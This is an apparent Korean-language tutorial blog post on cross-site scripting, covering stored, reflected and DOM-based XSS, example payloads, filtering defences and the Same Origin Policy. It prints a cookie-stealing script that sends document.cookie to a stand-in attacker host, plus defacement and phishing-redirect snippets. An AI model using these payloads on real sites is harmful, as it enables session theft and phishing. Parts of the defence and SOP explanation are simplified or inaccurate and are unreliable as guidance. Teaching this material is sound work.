XSS(Cross Site Scripting) 공격이란
XSS(Cross Site Scripting)은 클라이언트 사이드의 취약점으로 해커가 피해자 브라우저에 스크립트가 실행되도록 하여 사용자의 쿠키와 세션을 탈취하거나, 피싱 공격을 진행하는 것을 말합니다 간단히 설명하자면 웹 브라우저에 악성 스크립트를 삽입할 수 있는 취약점을 이용하여 피해자에 세션 및 쿠키 정보를 탈취할 수 있습니다
피싱 : 피해자를 속여 중요한 데이터를 누설하게 하고, 바이러스를 다운로드하게 되어 사이버 범죄에 노출시키도록 유도하는 것을 말합니다
XSS 공격은 사용자가 삽입한 내용을 출력하는 기능에서 발생합니다 클라이언트가 HTTP 형식으로 웹 서버에 정보를 요청하면 서버로부터 해당 정보를 HTML, CSS, JS 등의 웹 리소스를 시각화하여 사용자에게 보여줍니다 이때 HTML, CSS, JS 등의 소스가 포함된 게시물들을 XSS 공격을 이용하여 페이지를 변조하거나 악성 스크립트를 실행할 수 있습니다
위 사진과 같이 해당 게시물에 <script> 태그를 삽입하여 브라우저에 악성 스크립트가 실행되게 할 수 있습니다
XSS 공격 종류
종류 | 설명 |
Stored XSS (저장형) | XSS에 사용되는 악성 스크립트가 서버에 저장되며 서버 응답에 담겨오는 XSS 공격 |
Reflected XSS (반사형) | XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버 응답에 담겨오는 XSS 공격 |
DOM-based XSS | XSS에 사용되는 악성 스크립트가 Fragment의 삽입되는 XSS |
URL(Uniform Resource Locator) : 네트워크 상에서 자원이 어디 있는지 알려주기 위한 규약
DOM(Document Object Model) : HTML 문서에 접근 방법을 표준으로 정의하는 문서 모델 객체 ( 인터페이스로 생각 )
Fragment : UI 내에서 독립적으로 동작하는 화면 부분
📄 저장형 Stored XSS 공격 작동 방법
Stored XSS 공격은 서버의 데이터베이스 혹은 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS입니다 대표적으로 게시물과 댓글에 악성 스크립트를 포함하여 업로드하는 방식입니다 게시물은 불특정 다수에게 보이므로 해당 취약점이 발생한다면 높은 파급력을 가지게 됩니다
( 악성 스크립트가 서버 내에 존재하고 사용자가 저장된 악성 스크립트를 조회할 때 발생함 )
첫 번째 과정에서 공격자가 악성 스크립트가 담긴 내용을 작성하면 두 번째 과정에서 불특정 다수 피해자가 해당 게시물을 클릭하게 됩니다 이때 쿠키 정보가 탈취되게 됩니다
현재는 alert 형태로 나오지만 실제로는 쿠키 정보를 탈취하는 스크립트로 작성하면 됩니다
📄 반사형 Reflected XSS 공격 작동 방법
Reflected XSS 공격은 서버가 악성 스크립트가 담긴 요청을 출력 시 발생합니다 대표적으로 게시판에 작성된 게시물을 조회할 때 검색창에 악성 스크립트가 포함되어 검색되는 방식입니다 사용자가 게시물을 검색하는 과정에서 서버는 검색 결과를 사용자에게 반환하는 특징을 악용한 사례입니다 하지만 Reflected XSS는 Stored XSS와 다르게 URL과 같은 사용자의 요청에만 반응합니다 따라서 공격을 시도하려면 악성 스크립트가 포함된 링크를 변조해서 피해자에게 접속하게끔 유도하는 방법이 있습니다
( 악성 스크립트가 사용자 요청 내에 존재하고, 사용자가 악성 스크립트가 포함된 요청을 보낸 후 서버가 응답을 출력할 때 발생함 )
두 번째 과정에서 악성 스크립트가 포함된 링크를 변조하여 피해자들에게 접속하게끔 유도할 수 있습니다
📄 DOM-based XSS 공격 작동 방법
DOM-based XSS 공격은 사용자의 입력을 통해 악의적인 스크립트를 삽입하고, 클라이언트 사이드에서 이를 실행시킬 때 발생하는 공격입니다 악성 스크립트가 HTML 페이지를 분석할 때 DOM 일부로 실행되면서 작동됩니다 페이지는 변하지 않으며, 페이지에 포함된 악성 스크립트 코드가 DOM 환경에서 실행됩니다
1. 해커가 악성 스크립트가 포함된 웹 페이지를 생성하고 피해자에게 해당 페이지를 방문하게 끔 유도합니다
2. 이 페이지는 피해자의 브라우저에서 실행되기 전에 악성 스크립트가 포함된 정상적인 HTML을 보여줍니다 즉, 페이지 자체는 변하지 않습니다
3. 페이지가 로드되는 순간 악성 스크립트가 DOM에서 실행되어 피해자의 쿠키와 세션을 탈취할 수 있습니다
( 결국 해커가 웹 페이지에 있는 요소의 악성 스크립트를 주입해서 해당 웹 페이지를 피해자에게 전송시킵니다 이때 피해자가 그 요소를 클릭하면 쿠키와 세션을 탈취당합니다 )
📄 XSS 스크립트의 예시
웹 문서의 동작 역할을 하는 자바스크립트를 이용하면 사용자에 웹 브라우저를 조작할 수 있습니다 이게 가능한 이유는 사용자들을 식별하기 위한 세션과 쿠키가 웹 브라우저에 저장되어 있기 때문입니다
이를 통해 자바스크립트를 이용한 XSS 공격에 주로 사용되고 있습니다
[ XSS 스크립트 예시 ]
1. 쿠키 및 세션 탈취 공격 코드
<script>
alert("hello world"); // hello world alert창 띄우기
document.cookie; // 현재 페이지의 쿠키를 반환
alert(document.cookie); // 현재 페이지의 쿠키를 인자로 가진 alert창 띄우기.
document.cookie = "name=musa;"; //딕셔너리 구조인 쿠키 생성(key: name, value: musa)
new Image().src = "http://musa/?cookie=" + document.cookie;
// new Image() 이미지를 생성하는 함수의 주소를 지정하여 쿠키를 요청함
// 공격자 주소 : http://musa/?cookie= 이므로 피해자의 쿠키정보와 합쳐 공격자 주소로 쿠기 정보를 보냄
</script>
2. 페이지 변조 공격 코드
<script>
document; // 피해자 페이지 정보에 접근.
document.write("Hacked By DreamHack !"); // 피해자 페이지에 악성 데이터 삽입
</script>
3. 외부 링크 이동 공격 코드
<script>
location.href = "http://musahacking/location"; // 피해자의 웹 위치를 변경.
// 피싱 공격으로 사용됨.
window.open("http://musahack/") // 새 창 열기
</script>
📈 XSS 공격의 파급력
1. Stored XSS (저장형 XSS)
- 파급력 : 매우 높다
- 이유 : 앞서 설명했듯이 서버의 데이터베이스 혹은 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS입니다 불특정 다수에게 실행되어 많은 피해를 볼 수 있습니다
2. Reflected XSS (반사형 XSS)
- 파급력 : 높다
- 이유 : 서버가 악성 스크립트가 담긴 요청을 출력 시 발생하는 XSS입니다 해커가 피해자에게 악성 스크립트가 포함된 링크를 제공하고 피해자가 이 링크를 클릭하면 악성 스크립트가 실행됩니다 이때 악성 스크립트는 링크를 클릭한 피해자 브라우저와 URL 입력으로 실행되므로 피싱 공격에 사용됩니다
3. DOM-based XSS (DOM 기반 XSS)
- 파급력 : 다양하다 ( 공격 패턴과 피해자의 브라우저에 기능에 따라 달라진다 )
- 이유 : 클라이언트 측에서 실행되는 스크립트 코드로 인해 발생하는 XSS입니다 페이지에서 DOM 조작을 통해 작동됩니다 이때 공격 패턴과 피해자의 브라우저 기능에 따라 파급력이 달라집니다 ( 일부 Reflected XSS와 유사한 피해를 가집니다 )
📄 XSS 공격의 중요점
XSS 공격을 이해하고 방어하기 위해서는 아래의 항목을 참고할 수 있습니다
1. 세션 관리 : XSS 공격이 세션 쿠키를 탈취할 수 있으므로 웹 서버는 세션 관리를 통해 사용자의 인증 상태를 안전하게 유지해야 합니다
2. HTTPS 사용 : HTTPS를 통해 데이터 통신을 암호화하여 중간자 공격을 예방할 수 있습니다
3. 사용자의 웹 사용 습관 교육 : 안전한 웹 사용 습관은 사전에 공지사항을 통해 알려줍니다 대표적으로 신뢰할 수 없는 링크를 클릭하지 않거나 로그인 정보를 안전하게 관리하는 방법 위주로 알려줄 수 있습니다
4. 보안 테스트 : 웹 페이지에 대한 보안 테스트와 취약점을 분석하여 잠재적인 XSS 취약점을 찾고 보완할 수 있습니다
🚫 XSS 대응 방안
function XSSCheck(str, level) {
if (level == undefined || level == 0) {
str = str.replace(/\<|\>|\"|\'|\%|\;|\(|\)|\&|\+|\-/g,"");
// 자바스크립트의 특수 문자를 공백으로 대체하는 정규식
} else if (level != undefined && level == 1) {
str = str.replace(/\</g, "<");
str = str.replace(/\>/g, ">");
// ‘<’, ‘>’ 를 &it과 >로 대체하면서 HTML 태그를 무력화 합니다
}
return str; // 처리한 문자열 반환
}
첫 번째로 특수문자와 HTML 태그를 무력화할 수 있는 필터링 코드를 추가할 수 있습니다 이러한 필터링 형태는 간단한 XSS 공격에 대해 작동하지만 XSS 공격을 완벽하게 막을 수 없다는 점이 있습니다 그러므로 새로운 XSS 공격이 발견될 때마다 코드를 업데이트해야 합니다
두 번째로 Reflected XSS 공격을 방지하기 위해 사용자가 URL 내부에 악성 스크립트를 삽입하지 못하도록 합니다 예를 들어 "https://mu-sa.com?page=1" URL의 page 파라미터의 1같이 해당 페이지에 숫자만 적용할 수 있도록 입력 값을 제안해두면 공격자가 악성 스크립트 삽입을 방지할 수 있습니다
입력 값 제한 전 : https://mu-sa.com?page=<script>alerte("쿠키 탈취")</script>
(공격자가 URL 내부에 악성 스크립트 삽입)
입력 값 제한 후 : https://mu-sa.com?page=1
( page 값은 숫자만 입력할 수 있기 때문에 다른 문자 입력 불가 )
📕 SOP 정책이란
SOP(Same Origin Policy) 동일 출처 정책은 같은 출처끼리만 정보를 요청할 수 있도록 하는 정책입니다 즉 출처(Origin)에서 로드된 호스트나 프로토콜, 포트 번호가 일치하지 않으면 접근할 수 없습니다
SOP 정책이 생겨난 이유는 앞서 XSS 공격은 클라이언트 사이드의 취약점으로 피해자 브라우저에 악성 스크립트가 실행되어 사용자의 세션과 쿠키를 탈취할 수 있었습니다 이때 이 세션과 쿠키는 공격자 서버로 전송되게 할 수 있습니다 이러한 이유로 다른 사이트 간에 정보를 요청할 수 없도록 SOP 정책이 등장하게 되었습니다 ( 피해자의 쿠키와 세션을 다른 사이트로 전송하는 걸 방지 )
SOP 간단한 동작 원리는 브라우저 요청 헤더에 포함된 Origin 필드에 본인 출처를 넣어서 보내면 서버는 본인이 허용하는 출처를 담아서 응답 헤더로 보냅니다 이때 브라우저가 서버에 허용된 응답 헤더와 본인의 Origin이 같은지 비교하여 출처가 올바르지 않다면 다른 사이트 간에 정보를 요청할 수 없게 됩니다
여기서 SOP 정책을 사용하면서 다른 사이트 간에 정보를 요청하고 싶다면 CORS와 같은 추가적인 정책을 사용하여 특정 출처 간에 통신을 허용하도록 할 수 있습니다
CORS(Cross Origin Resource Sharing) : 교차 출처 정책으로 서로 다른 출처 간에도 요청과 응답이 가능하게 합니다
[ 참고 자료 ]
[ XSS 정의와 예시 및 DOM-based 개념 ]
[ XSS 대응 방안 ]
[ SOP 정책 ]